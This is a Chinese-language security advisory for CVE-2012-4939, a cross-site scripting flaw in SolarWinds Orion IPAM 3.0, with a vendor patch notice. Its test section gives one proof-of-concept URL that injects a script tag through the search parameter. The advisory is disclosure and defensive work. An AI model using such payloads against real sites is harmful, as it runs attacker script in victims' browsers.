发布日期：2012-10-31
更新日期：2012-11-01

受影响系统：

SolarWinds Orion IP Address Manager (IPAM) 3.0

描述：

---

BUGTRAQ  ID: 56342
CVE ID: CVE-2012-4939

SolarWinds Orion IP Address Manager (IPAM)是集中式IP地址管理方案。

SolarWinds Orion IP Address Manager (IPAM) 3.0及其他版本存在安全漏洞，攻击者可利用此漏洞在受影响站点的用户浏览器中执行任意脚本代码。

<*来源：Anthony Trummer
  *>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

http://www.example.com/Orion/IPAM/search.aspx?q=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28%27hi%27%29%3C

%2Fscript%3E

建议：

---

厂商补丁：

SolarWinds
----------
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：

http://solarwinds.net

浏览次数：2751
严重程度：0（网友投票）